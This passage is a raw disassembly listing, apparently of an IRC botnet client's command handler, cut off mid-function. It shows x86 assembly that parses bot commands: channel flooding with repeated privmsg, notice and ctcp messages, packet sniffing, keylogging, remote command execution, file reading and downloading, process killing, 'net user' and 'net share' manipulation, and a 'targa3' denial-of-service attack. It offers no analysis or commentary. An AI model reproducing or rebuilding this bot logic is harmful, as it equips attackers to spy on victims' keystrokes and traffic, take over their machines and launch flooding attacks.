lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
loc_4052CE: ; CODE XREF: sub_401ACD+37CBj
push edi ; Str2
push offset aMsg ; "msg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4053C3
cmp [ebp+esi+Format], ebx
jz loc_4053C3
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
lea eax, [ebp+Dst]
push offset dword_427624
push [ebp+esi+Format]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
call _rand
cdq
mov ecx, 3E8h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
call _rand
cdq
mov ecx, 384h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
loc_4053C3: ; CODE XREF: sub_401ACD+3810j
; sub_401ACD+381Dj
push edi ; Str2
push offset aNotice_0 ; "notice"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4054B8
cmp [ebp+esi+Format], ebx
jz loc_4054B8
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
lea eax, [ebp+Dst]
push offset dword_427624
push [ebp+esi+Format]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
call _rand
cdq
mov ecx, 3E8h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
call _rand
cdq
mov ecx, 384h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
loc_4054B8: ; CODE XREF: sub_401ACD+3905j
; sub_401ACD+3912j
push edi ; Str2
push offset aCtcp ; "ctcp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4055D9
cmp [ebp+esi+Format], ebx
jz loc_4055D9
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgS_1 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aPrivmsgS_2 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aPrivmsgS_3 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aPrivmsgS_3 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
loc_4055D9: ; CODE XREF: sub_401ACD+39FAj
; sub_401ACD+3A07j
push edi ; Str2
push offset aMix ; "mix"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405709
cmp [ebp+esi+Format], ebx
jz loc_405709
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgS_1 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
loc_405709: ; CODE XREF: sub_401ACD+3B1Bj
; sub_401ACD+3B28j
push edi ; Str2
push offset aRegister ; "register"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40574D
mov eax, [ebp+esi+Str2]
cmp eax, ebx
jz short loc_40574D
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNickservRegist ; "nickserv register %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
loc_40574D: ; CODE XREF: sub_401ACD+3C4Bj
; sub_401ACD+3C56j
push edi ; Str2
push offset Str2 ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40619B
mov [ebp+arg_18], offset dword_4D4A5C
loc_405769: ; CODE XREF: sub_401ACD+3CC0j
mov eax, [ebp+arg_18]
cmp dword ptr [eax-4], 1
jnz short loc_40577F
mov eax, [eax]
cmp eax, ebx
jbe short loc_40577F
push eax
call dword_4CBA6C ; closesocket
loc_40577F: ; CODE XREF: sub_401ACD+3CA3j
; sub_401ACD+3CA9j
add [ebp+arg_18], 210h
cmp [ebp+arg_18], offset byte_4DB17C
jl short loc_405769
cmp [ebp+var_8], ebx
jnz loc_40619B
push ebx ; int
push [ebp+var_4] ; int
push offset unk_42B784 ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
jmp loc_40619B
; ---------------------------------------------------------------------------
loc_4057B7: ; CODE XREF: sub_401ACD+3151j
push [ebp+arg_8] ; Str2
push offset aNick_0 ; "nick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409554
push [ebp+arg_8] ; Str2
push offset aN ; "n"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409554
push [ebp+arg_8] ; Str2
push offset aJoin ; "join"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409531
push [ebp+arg_8] ; Str2
push offset aJ ; "j"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409531
push [ebp+arg_8] ; Str2
push offset aPart_0 ; "part"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409515
push [ebp+arg_8] ; Str2
push offset aPt ; "pt"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409515
push [ebp+arg_8] ; Str2
push offset aRaw ; "raw"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4094DB
push [ebp+arg_8] ; Str2
push offset aR ; "r"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4094DB
push [ebp+arg_8] ; Str2
push offset aKillthread ; "killthread"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409418
push [ebp+arg_8] ; Str2
push offset aK ; "k"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409418
push [ebp+arg_8] ; Str2
push offset aC_quit ; "c_quit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40936D
push [ebp+arg_8] ; Str2
push offset aC_q ; "c_q"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40936D
push [ebp+arg_8] ; Str2
push offset aC_rndnick ; "c_rndnick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40931F
push [ebp+arg_8] ; Str2
push offset aC_rn ; "c_rn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40931F
push [ebp+arg_8] ; Str2
push offset aPrefix ; "prefix"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40930A
push [ebp+arg_8] ; Str2
push offset aPr ; "pr"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40930A
push [ebp+arg_8] ; Str2
push offset aOpen ; "open"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4092E0
push [ebp+arg_8] ; Str2
push offset aO ; "o"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4092E0
push [ebp+arg_8] ; Str2
push offset aServer_1 ; "server"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4092C7
push [ebp+arg_8] ; Str2
push offset aSe ; "se"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4092C7
push [ebp+arg_8] ; Str2
push offset aDns ; "dns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40925F
push [ebp+arg_8] ; Str2
push offset aDn ; "dn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40925F
push [ebp+arg_8] ; Str2
push offset aKillproc ; "killproc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409233
push [ebp+arg_8] ; Str2
push offset aKp ; "kp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409233
push [ebp+arg_8] ; Str2
push offset aKill ; "kill"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4091D8
push [ebp+arg_8] ; Str2
push offset aKi ; "ki"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4091D8
push [ebp+arg_8] ; Str2
push offset aDelete ; "delete"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4091A0
push [ebp+arg_8] ; Str2
push offset aDel ; "del"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4091A0
push [ebp+arg_8] ; Str2
push offset aGet_1 ; "get"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4090C3
push [ebp+arg_8] ; Str2
push offset aGt ; "gt"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4090C3
push [ebp+arg_8] ; Str2
push offset aList ; "list"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push [ebp+arg_8] ; Str2
push offset aLi ; "li"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push [ebp+arg_8] ; Str2
push offset aVisit ; "visit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408FB5
push [ebp+arg_8] ; Str2
push offset aV ; "v"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408FB5
push [ebp+arg_8] ; Str2
push offset aMirccmd ; "mirccmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408F6F
push [ebp+arg_8] ; Str2
push offset aMirc ; "mirc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408F6F
push [ebp+arg_8] ; Str2
push offset aCmd ; "cmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408F18
push [ebp+arg_8] ; Str2
push offset aCm ; "cm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408F18
push [ebp+arg_8] ; Str2
push offset aReadfile ; "readfile"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408EA1
push [ebp+arg_8] ; Str2
push offset aRf ; "rf"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408EA1
push [ebp+arg_8] ; Str2
push offset aPsniff ; "psniff"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405C9F
push edi ; Str2
push offset aOn ; "on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405C67
push 20h
call sub_40B602
test eax, eax
pop ecx
jle short loc_405B91
push offset dword_42B68C
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405B91: ; CODE XREF: sub_401ACD+40B8j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+Format]
mov [ebp+var_F5C], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED4], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_ED0], eax
jnz short loc_405BD3
mov esi, offset aF_1 ; "#f"
push offset byte_43DB88 ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405BD3
mov esi, [ebp+Format]
loc_405BD3: ; CODE XREF: sub_401ACD+40E8j
; sub_401ACD+40FEj
push esi ; Format
lea eax, [ebp+var_F58]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+Dst]
push offset asc_42B65C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 20h ; int
push eax ; Source
call sub_40B3BA
add esp, 14h
mov [ebp+var_ED8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F5C]
push ebx
push eax
push offset sub_412B61
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_ED8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_405C56
loc_405C40: ; CODE XREF: sub_401ACD+4187j
cmp [ebp+var_ECC], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_405C40
; ---------------------------------------------------------------------------
loc_405C56: ; CODE XREF: sub_401ACD+4171j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42B620
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405C67: ; CODE XREF: sub_401ACD+40A8j
push edi ; Str2
push offset Str2 ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 20h
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C95
push eax
push offset dword_42B5E4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405C95: ; CODE XREF: sub_401ACD+41BBj
push offset dword_42B5B8
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405C9F: ; CODE XREF: sub_401ACD+4093j
push [ebp+arg_8] ; Str2
push offset aSniffer ; "sniffer"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405DEF
push edi ; Str2
push offset aOn ; "on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405DB7
push 21h
call sub_40B602
test eax, eax
pop ecx
jle short loc_405CE1
push offset unk_42B590
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405CE1: ; CODE XREF: sub_401ACD+4208j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+Format]
mov [ebp+var_EC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_E40], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E3C], eax
jnz short loc_405D23
mov esi, offset aF_1 ; "#f"
push offset byte_43DB88 ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405D23
mov esi, [ebp+Format]
loc_405D23: ; CODE XREF: sub_401ACD+4238j
; sub_401ACD+424Ej
push esi ; Format
lea eax, [ebp+var_EC4]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+Dst]
push offset asc_42B564 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 21h ; int
push eax ; Source
call sub_40B3BA
add esp, 14h
mov [ebp+var_E44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC8]
push ebx
push eax
push offset sub_4131EC
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_E44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_405DA6
loc_405D90: ; CODE XREF: sub_401ACD+42D7j
cmp [ebp+var_E38], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_405D90
; ---------------------------------------------------------------------------
loc_405DA6: ; CODE XREF: sub_401ACD+42C1j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42B528
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405DB7: ; CODE XREF: sub_401ACD+41F8j
push edi ; Str2
push offset Str2 ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 21h
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DE5
push eax
push offset unk_42B4EC
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405DE5: ; CODE XREF: sub_401ACD+430Bj
push offset unk_42B4C0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405DEF: ; CODE XREF: sub_401ACD+41E3j
push [ebp+arg_8] ; Str2
push offset aIdent ; "ident"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405EC2
push edi ; Str2
push offset aOn ; "on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405E8A
push 2
call sub_40B602
test eax, eax
pop ecx
jle short loc_405E2D
push offset dword_42B498
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405E2D: ; CODE XREF: sub_401ACD+4354j
lea eax, [ebp+Dst]
push offset asc_42B46C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 2 ; int
push eax ; Source
call sub_40B3BA
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset sub_410BFD
push ebx
push ebx
call ds:dword_427084 ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz loc_4081AD
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42B438
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405E8A: ; CODE XREF: sub_401ACD+4348j
push edi ; Str2
push offset Str2 ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 2
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405EB8
push eax
push offset dword_42B400
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405EB8: ; CODE XREF: sub_401ACD+43DEj
push offset dword_42B3E0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405EC2: ; CODE XREF: sub_401ACD+4333j
push [ebp+arg_8] ; Str2
push offset aKeyloger ; "keyloger"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408D24
push [ebp+arg_8] ; Str2
push offset aKeylog ; "keylog"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408D24
push [ebp+arg_8] ; Str2
push offset aStop ; "stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408CFB
push [ebp+arg_8] ; Str2
push offset aStop ; "stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408CFB
push [ebp+arg_8] ; Str2
push offset aNet ; "net"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40616D
cmp dword_4CBAA4, ebx
jz short loc_405F4F
cmp dword_4CBACC, ebx
jz short loc_405F4F
push offset unk_42B388
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405F4F: ; CODE XREF: sub_401ACD+446Ej
; sub_401ACD+4476j
cmp [ebp+var_C], ebx
jz loc_406BFE
mov eax, [ebp+esi+Format]
mov [ebp+Src], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_405F77
push eax ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
mov [ebp+Src], eax
pop ecx
loc_405F77: ; CODE XREF: sub_401ACD+449Aj
push edi ; Str2
push offset aStart ; "start"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405FC3
cmp [ebp+arg_18], ebx
jz short loc_405F97
push [ebp+Src]
push 3
jmp loc_406021
; ---------------------------------------------------------------------------
loc_405F97: ; CODE XREF: sub_401ACD+44BEj
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_418EA8
add esp, 0Ch
test eax, eax
jz short loc_405FB9
push offset unk_42B35C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405FB9: ; CODE XREF: sub_401ACD+44E0j
push offset unk_42B33C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405FC3: ; CODE XREF: sub_401ACD+44B9j
push edi ; Str2
push offset aStop ; "stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405FDB
push [ebp+Src]
push 4
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_405FDB: ; CODE XREF: sub_401ACD+4505j
push edi ; Str2
push offset aPause ; "pause"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405FF3
push [ebp+Src]
push 5
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_405FF3: ; CODE XREF: sub_401ACD+451Dj
push edi ; Str2
push offset aContinue ; "continue"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40600B
push [ebp+Src]
push 6
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_40600B: ; CODE XREF: sub_401ACD+4535j
push edi ; Str2
push offset aDelete ; "delete"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_406033
push [ebp+Src]
push 1
loc_406021: ; CODE XREF: sub_401ACD+44C5j
; sub_401ACD+450Cj ...
call sub_418C0E
pop ecx
pop ecx
loc_406028: ; CODE XREF: sub_401ACD+459Fj
; sub_401ACD+4628j ...
push eax
push offset aS_6 ; "%s"
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_406033: ; CODE XREF: sub_401ACD+454Dj
push edi ; Str2
push offset aShare ; "share"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40609B
cmp [ebp+arg_18], ebx
jz short loc_40606E
cmp [ebp+var_8FC], bl
jz short loc_406059
push ebx
push [ebp+arg_18]
push 1
jmp short loc_406064
; ---------------------------------------------------------------------------
loc_406059: ; CODE XREF: sub_401ACD+4582j
push [ebp+esi+Str2] ; int
push [ebp+arg_18] ; Str
push ebx ; int
loc_406064: ; CODE XREF: sub_401ACD+458Aj
call sub_418FE5
add esp, 0Ch
jmp short loc_406028
; ---------------------------------------------------------------------------
loc_40606E: ; CODE XREF: sub_401ACD+457Aj
push ebx ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_4191DB
add esp, 10h
test eax, eax
jz short loc_406091
push offset unk_42B2FC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406091: ; CODE XREF: sub_401ACD+45B8j
push offset unk_42B2DC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40609B: ; CODE XREF: sub_401ACD+4575j
push edi ; Str2
push offset aUser_0 ; "user"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_406127
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_4060FA
cmp [ebp+var_8FC], bl
jz short loc_4060CD
push [ebp+var_4]
push [ebp+Format]
push [ebp+arg_4]
push ebx
push eax
push 1
jmp short loc_4060ED
; ---------------------------------------------------------------------------
loc_4060CD: ; CODE XREF: sub_401ACD+45ECj
push [ebp+var_4] ; int
mov esi, [ebp+esi+Str2]
cmp esi, ebx
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
jz short loc_4060E9
push esi
push eax
push ebx
jmp short loc_4060ED
; ---------------------------------------------------------------------------
loc_4060E9: ; CODE XREF: sub_401ACD+4615j
push ebx ; int
push eax ; int
push 2 ; int
loc_4060ED: ; CODE XREF: sub_401ACD+45FEj
; sub_401ACD+461Aj
call sub_4192FC
add esp, 18h
jmp loc_406028
; ---------------------------------------------------------------------------
loc_4060FA: ; CODE XREF: sub_401ACD+45E4j
push ebx ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_41982C
add esp, 10h
test eax, eax
jz short loc_40611D
push offset unk_42B2BC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40611D: ; CODE XREF: sub_401ACD+4644j
push offset unk_42B29C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406127: ; CODE XREF: sub_401ACD+45DDj
push edi ; Str2
push offset aSend_0 ; "send"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_406163
cmp [ebp+arg_18], ebx
jz short loc_406159
push [ebp+var_4]
push [ebp+Format]
push [ebp+arg_4]
push [ebp+Src] ; Source
call sub_419AE0
add esp, 10h
jmp loc_406028
; ---------------------------------------------------------------------------
loc_406159: ; CODE XREF: sub_401ACD+466Ej
push offset unk_42B270
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406163: ; CODE XREF: sub_401ACD+4669j
push offset unk_42B254
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40616D: ; CODE XREF: sub_401ACD+4462j
push [ebp+arg_8] ; Str2
push offset aGethost ; "gethost"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
push [ebp+arg_8] ; Str2
push offset aGh ; "gh"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
loc_40619B: ; CODE XREF: sub_401ACD+3C8Fj
; sub_401ACD+3CC5j ...
mov eax, [ebp+esi+Format]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401F75
push [ebp+arg_8] ; Str2
push offset aKilllog ; "killlog"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8] ; Str2
push offset aKl ; "kl"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8] ; Str2
push offset aAddalias ; "addalias"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408BBE
push [ebp+arg_8] ; Str2
push offset aAa ; "aa"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408BBE
push [ebp+arg_8] ; Str2
push offset aPrivmsg_0 ; "privmsg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408B6D
push [ebp+arg_8] ; Str2
push offset aPm ; "pm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408B6D
push [ebp+arg_8] ; Str2
push offset aAction ; "action"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408B04
push [ebp+arg_8] ; Str2
push offset aA ; "a"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408B04
push [ebp+arg_8] ; Str2
push offset aCycle ; "cycle"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408A9E
push [ebp+arg_8] ; Str2
push offset aCy ; "cy"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408A9E
push [ebp+arg_8] ; Str2
push offset aMode ; "mode"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408A64
push [ebp+arg_8] ; Str2
push offset aM_0 ; "m"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408A64
push [ebp+arg_8] ; Str2
push offset aC_raw ; "c_raw"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4089F6
push [ebp+arg_8] ; Str2
push offset aC_r ; "c_r"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4089F6
push [ebp+arg_8] ; Str2
push offset aC_mode ; "c_mode"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408971
push [ebp+arg_8] ; Str2
push offset aC_m ; "c_m"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408971
push [ebp+arg_8] ; Str2
push offset aC_nick ; "c_nick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408900
push [ebp+arg_8] ; Str2
push offset aC_n ; "c_n"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408900
push [ebp+arg_8] ; Str2
push offset aC_join ; "c_join"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4088DA
push [ebp+arg_8] ; Str2
push offset aC_j ; "c_j"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4088DA
push [ebp+arg_8] ; Str2
push offset aC_part ; "c_part"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40887A
push [ebp+arg_8] ; Str2
push offset aC_p ; "c_p"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40887A
push [ebp+arg_8] ; Str2
push offset aTarga3 ; "targa3"
call _strcmp
pop ecx
